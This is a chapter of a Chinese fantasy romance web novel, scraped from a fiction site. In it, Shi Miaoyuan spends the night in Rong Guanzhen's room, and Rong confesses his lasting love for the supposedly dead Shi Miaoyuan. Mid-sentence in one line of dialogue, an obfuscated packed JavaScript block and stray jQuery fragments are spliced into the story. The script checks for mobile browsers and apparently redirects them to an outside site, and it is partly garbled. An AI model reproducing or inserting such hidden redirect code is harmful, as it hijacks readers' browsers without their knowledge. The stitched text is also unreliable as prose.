风竹小说 > 都市言情 > 作精黑月光重生跑路指南 > 53.孰以舒明(五)

53.孰以舒明(五)

    蕴轮谷,香界宫。

    纵使有神力传送,他们还是到临近午夜的时候才回到行宫。荣观真一踏出传送阵就得到了植物们的热烈欢迎,小喜鹊在半空中连连打转,就连菩提果兴奋得在原地绊了好几跤。

    比小花小鸟小果子们更激动的是关亭云和关居星,他们一落地就开始撒欢,不出三秒钟,就连影子也看不见了。

    “终于回家了!啊啊啊!我下次再也不要去承光叔那玩儿了——!”

    小护法们绝尘而去,荣观真把行李丢给菩提果,随意交代几句后也不知去了哪里。

    “不是,怎么就把我扔下来了?”

    时妙原抱怨无果,最终还是乖乖随菩提果回到了房间。等到他终于把自己洗漱干净收拾利索了,就连猫头鹰也已经进入了梦乡。

    夜风清凉,床铺松软。四下寂静无人,窗外时不时传来断续的虫鸣。他抱着枕头在床上滚来滚去,滚去滚来,还是按捺不住寂寞,拍拍手唤了只菩提果出来。

    这次来的果子看着面生,似乎并不是上次引他去见舒明的那位。它长得更圆、更润,更白胖许多,看样子,这小家伙平时没少善待自己。

    “喂,小胖墩,带我去见你老爷。”时妙原捏着它的小胖手说,“我要找他睡觉。”

    菩提果面露难色。

    见它不肯答应,时妙原指着窗户威胁道:“你要是不带我去找荣观真,我现在立刻就从那儿跳下去。别怪我没警告过你,我可是你家老爷的心头宝,我要是摔死了,他能把你们全切吧切吧煲成老火靓汤!”

    这恐吓果然奏效,菩提果立马连滚带爬地跑出了门外。

    夜间的香界宫安宁无比,只可惜时妙原踢踏拖鞋的声音打破了这份宁静。他随着菩提果四处流蹿,约莫半小时后,他发现自己居然被带到了聆辰台附近。

    聆辰台边上有一栋依山而建的木楼,这楼约有三层,外表极为低调,不仔细去看的话,很容易会把它和山混为一体。

    菩提果跑到楼前,在原地蹦跳几下,时妙原的眼前便出现了一道可供一人穿行的光隙。

    “荣观真就住这儿吗?”他问。

    那果子紧张地点了点头,它目送着时妙原进入光隙,然后立马头也不回地跑开了。

    进入木楼内部之后,时妙原只感到一阵恍惚。

    “居然是这里啊……”他一时间竟有些出神。

    他知道这个地方,这儿叫寻香洞。

    亭台楼阁,小桥流水,熏香花丛,柳枝依依。古典园林中常见的景象,竟然都在这寻香洞中得到了复现。

    时妙原仰头望去,只见天花板上缀满了由珠玉缔造的星空,盛放的黄姜花簇拥着一条木质的廊桥小道。

    道路两旁摆放着许多石制造像,它们的大小不一、姿态各异,共同之处在于其脸部都是一片空白。他闭眼感知了一会儿,发现这些石像里面似乎都藏有些许神识。

    一叶粉蝶落上他的肩头,很快又扑扇翅膀向寻香洞深处飞了过去。时妙原随着它一路行进,走到尽头时,他看见了两扇古朴的推拉门。

    这应该就是荣观真住的地方了。

    卧室门没有关严,荣观真却不知去了哪里。时妙原鬼鬼祟祟钻进屋内,只见里面仅有一张被掩在帘后的大床,和一套老旧的红木桌椅。

    桌上放着几块点心,两大摞尚未开封的卷轴陈列其侧,屋内花香清幽,时妙原和那些卷轴大眼瞪小眼了好一会儿,终究还是没勇气偷偷打开来看看。

    “算了,我还是先等他回来吧。”他自言自语道,“但说起来,那小混蛋跑哪儿浪去了?这么晚了还不睡觉,不会是跑外边鬼混去了吧?”

    “你说谁瞎鬼混呢?”

    身后传来一声冷冷的质问,时妙原猛地回头,只见荣观真正面无表情地看着他。

    他手里捧着捧着一瓶鲜花,屋内的花香大抵就是从这儿传出来的。他在这儿看了多久?时妙原汗如雨下,他还没来得及开口辩解,荣观真便放下花瓶,向前几步抓住他的手腕,用力把他扔到了床上。

    “哇你干什么!”

    时妙原像颗皮球似地在床上弹跳了好几下——还好,他的屁股似乎并不是很疼。

    岂止不疼,甚至还有些舒适。

    “这……这是?”

    他惊魂未定地拍了拍床板,这床看着冷硬,实际上又软又厚,还堆着许多五颜六色的等身抱枕。

    其中有毛绒鲨鱼,有云朵玩偶,当然,还有好几只肥嘟嘟胖乎乎,一看手感就好得不得了的玩具小鸟。

    真是太阳打西边出来了,荣观真啥时候这么童心大发了?时妙原在错愕,抱枕大王边唰——地拉开帘子,对他摆出了那副标志性的臭脸。

    “你,你干嘛!”时妙原梗着脖子喊道,“搞得这么突然,你把我弄疼了!”

    荣观真气得眉头直竖:“你还敢倒打一耙?说!大半夜的鬼鬼祟祟跑我屋来做什么?是谁把你带到这边来的?!”

    “我自己摸过来的!”时妙原脸不红心不跳地说,“我怕黑,我胆小,我有心理阴影,我一闭眼就是那个王八蛋山羊头怪物!那家伙给我吓得不行,老子心灵脆弱不能独处,想找你陪陪我难道很奇怪吗!”

    “怕黑你就开灯!来找我干什么?我看起来会发电吗?”

    “我来找你睡觉啊!你难道不想和我睡?”

    “我看你是脑子在江里被泡进水了才会觉得我愿意和你睡一张床!”荣观真指床铺最里边说,“滚那边去!脚擦干净再上床。一人一半,不许越界!”

    时妙原大喜过望。

    夜色又深重了几许,但在这与世隔绝的小屋中,时间流逝其实并不是很明显。

    灯火闪烁,时妙原摊在一旁抱着玩具鲨鱼打滚,荣观真则半倚在床边翻看卷轴。他一边阅读,一边还时不时从盘子里拿茶点来吃。还没吃几块他发现点心不见了,再抬头一看,就见时妙原腮帮子里塞得鼓鼓的对他笑。

    荣观真长叹一声,拍拍手让菩提果又送了好些点心和茶水过来。时妙原即便吃饱喝足了也不安分,他呈大字状平躺在床上,其姿势之不雅,就差直接把腿搭到荣观真头顶上了。

    “老爷,荣老爷?”见荣观真读得认真,时妙原忍不住戳戳他问:“你在看什么呀?”

    “看字。”

    “哦,这些字讲了什么?”

    “讲了些很无聊的东西。”荣观真放下卷轴揉了揉眼睛。时妙原匆忙一瞥,在上面看到了“十恶大败狱”这五个字。

    他迟疑片刻,问:“这是遥英送过来的吗?”

    “嗯。”

    “说起来,我还没问你呢,你头先和荣承光都聊了什么啊?就你让我去给遥英陪床那会儿。”

    “随便聊了聊。”

    “哟!还对我保密。”

    “只是稍微对了对账而已。”

    荣观真将卷轴收起来,慢条斯理地说:“他想知道三渎归一之后都发生了什么,我就给他简单讲了几句。我当初虽然封掉了他的神识,但有我母亲的祝福在,他其实从未真正失去过那些记忆。而且他被封印的时候一直在睡觉,所以也就没受太多苦。”

    “什么封印这么温和,不疼不痒还不闹腾的哦?”时妙原好奇地问,“我以前也听说过一些被镇压的妖怪,就算最终出来了,它们也几乎都要褪半层皮啊。”

    他回想起了在徐知酬的回忆中看到的那条蛇。虽然它与荣承光的蛇身有一定出入,但光看它身上那些锁链符咒和伤口,料想也不会好受到哪里去。

    荣观真开始闭目养神,他似乎不是很愿意讨论这个问题。时妙原按捺不住寂寞,又探头探脑道:“不过我还是挺意外的,你居然真的愿意让我睡你的房间哎。你现在不赶我走了?嘿嘿,咱俩关系可真好啊!”

    “你要是想的话,我现在就可以把你扔到无果湖里去。”荣观真淡淡地说。

    “那——你哪舍得啊!你宝贝着我呢!”

    时妙原边说边扭,在床上拱成了一条巨大的毛毛虫。荣观真睁眼看到他的造型,问:“我看你很有精神啊,你的伤口不疼了?”

    “嗯?你指的是什么伤?身上的伤我是都好了,至于心灵损失的话你要是对我温柔点我应该也很快就能恢复。”

    “别跟老子扯淡。我问你在水底受的伤。”

    “嗨!那铁定是连汗毛都重新长出来了啊!”

    为证明自己的强壮,时妙原呼呼哈嘿地对空气打起了军体拳:“这你就小看我了吧荣老爷?我不仅现在不疼,当时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215056|180435||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    也一点感觉都没有的啊!我们鸟妖的忍痛能力可是一流的,就算是小行星砸我脑门上我都不带吭声的我跟你说!”

    “鸟妖都很能忍痛?”

    “那当——”时妙原还想满嘴跑火车,一抬头看到荣观真的表情,整个人僵在了原地。

    荣观真眉头紧锁。

    屋内光线昏暗,灯火在他脸上打下了朦胧的轮廓。光斑落入他的眼中,在那片平静的海中平添了许多波纹。

    荣观真一言不发,他的嘴唇轻抿成了一条直线。有关十恶大败狱的卷轴乖巧地躺在他的膝间,他的手搭在上面,带着那薄如蝉翼的纸张微微发抖。

    他怎么了?

    “你真的,觉得无所谓吗?”

    荣观真轻声问道:“就算你其实很疼,就算你真的非常难受,就算你完全不想经历那样的痛苦,你也依旧能装得毫不在乎吗?”

    “我……”时妙原舌头打了结,“我,我的话,其实……”

    灯忽然灭了。床帘轻轻落下,荣观真翻了个身,将后背留给了时妙原。

    “睡觉吧。”

    黑暗中,他的声音听不出任何情绪。时妙原讪讪缩回去,直挺挺地躺在了床上。

    这里太安静了。

    没有风声,没有雨点,没有花鸟虫鱼的窃语,就连荣观真的呼吸声也轻得像是要随时消失一样。

    周围风平浪静,时妙原心中翻江倒海。

    啪!眼前突然微亮,荣观真把一盏向日葵形状的小夜灯放到了他枕边。

    “你不是怕黑吗。”他说,“这样应该会好些。”

    “……其实我还很怕冷。”时妙原慢慢挪了过去,“你要不要抱一抱我?”

    “不要。”

    “为什么?”

    “我不喜欢碰陌生人。”

    “咱俩又不是陌生人呀,之前在水下的时候你不也抱过我么?”

    “在水下那是不得已。”荣观真摇了摇头,“我有喜欢的人,除了他以外,我不想靠近任何人。”

    “……”

    时妙原躺回去,瞪着天花板看了一会儿,然后又爬起来问:“那那个人是……”

    “时妙原。”

    听到这个名字的瞬间,时妙原恍惚产生了某种,荣观真现在其实是在喊他的错觉。

    “那个就是我喜欢的人。”荣观真背对着他说,“我喜欢时妙原,我从很久很久以前开始就认定了他。我喜欢他,忘不了他,至今也依旧放不下他。我曾立誓永远不背叛他,但到头来反而是我将他逼进了绝路。他死后我每天晚上都会梦见他,不过,在他离开我之前,我也几乎没有断过有关于他的梦。如果有得选的话,我不想和除了他以外任何人产生任何关联。”

    荣观真说完便翻身下床,放下帘子,抱着卷轴坐回了书桌前。

    灯火影影绰绰,他的侧影打在帘上,就像一尊沉默无言的瓷雕。

    “这张床留给你,我今晚有事情要处理。”帘外传来了翻阅卷轴的声音,“灯开着,我就在旁边。香界宫很安全,你不用担心会有人来麻烦。”

    时妙原喊道:“阿真。”

    荣观真的影子顿了一顿。

    “怎么了?”他问。

    “……没什么。我只是突然觉得,你说的那个人,他以前说不定也这么喊过你。”

    “是不是都已经不重要了。你睡吧,我不打扰你了。过两天我们一起去克喀明珠山看看情况。”

    荣观真不再说话,时妙原抱住他躺过的枕头,把脸深深地埋了进去。

    被褥间隐约有花香,那应该是荣观真身上的味道。

    这里都是荣观真的气息,这里也都是他身上的味道,这让时妙原觉得他好像被他抱进了怀里,而荣观真本人,也的确就坐在与他仅有一帘之隔的地方。

    好熟悉的场景。时妙原想,他是不是在很久以前也经历过这样的事情?

    他一直想,一直想,到快天亮的时候,他终于找出了那既视感的源头。

    他回忆起来了:大约在两千多年以前,他们也曾有过这样一个彻夜无眠的夜晚。

    而在那天的夜幕降临之前,荣观真对他说的第一句话是:

    “上次在聆辰台,你离开时没有对我说再见。”